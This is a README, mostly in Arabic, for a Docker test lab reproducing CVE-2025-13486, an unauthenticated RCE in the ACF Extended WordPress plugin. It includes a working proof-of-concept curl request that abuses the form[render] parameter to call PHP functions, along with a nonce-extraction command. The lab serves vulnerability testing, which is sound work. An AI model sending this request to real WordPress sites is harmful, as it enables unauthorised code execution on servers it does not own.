CVE-2025-13486 بيئة اختبار قابلة للاستغلال

إعداد Docker لمرة واحدة لاختبار ثغرة RCE في ACF Extended.

بدء سريع

# 1. Download plugins (run once)
./download-plugins.sh

# 2. Start environment
docker-compose up -d --build

# 3. Wait ~30 seconds for setup, then test
nuclei -t CVE-2025-13486.yaml -u http://localhost:8888

إعداد الإضافات يدويًا

إذا فشل سكربت التنزيل، ضع هذه الملفات يدويًا في مجلد plugins/:

1. ACF Pro (تبعية مطلوبة)

   • تحميل من: https://www.advancedcustomfields.com/pro/
   • احفظ باسم: plugins/acf-pro.zip

2. ACF Extended 0.9.0.5 (الإصدار القابل للاستغلال)

   • تحميل من: https://downloads.wordpress.org/plugin/acf-extended.0.9.0.5.zip
   • احفظ باسم: plugins/acf-extended.zip

اختبار الاستغلال

# Extract nonce from homepage
curl -s http://localhost:8888/ | grep -oP '"nonce":"([a-f0-9]+)"'

# Test RCE with print_r
curl -X POST http://localhost:8888/wp-admin/admin-ajax.php \
  -d "action=acfe/form/render_form_ajax&nonce=<NONCE>&form[render]=print_r&form[test]=PWNED"

التنظيف

docker-compose down -v

تفاصيل الثغرة

• CVE: CVE-2025-13486
• الإصدارات المتأثرة: ACF Extended 0.9.0.5 - 0.9.1.1
• النوع: تنفيذ كود عن بُعد (RCE) بدون مصادقة عبر call_user_func_array()
• CVSS: 9.8 (حرجة)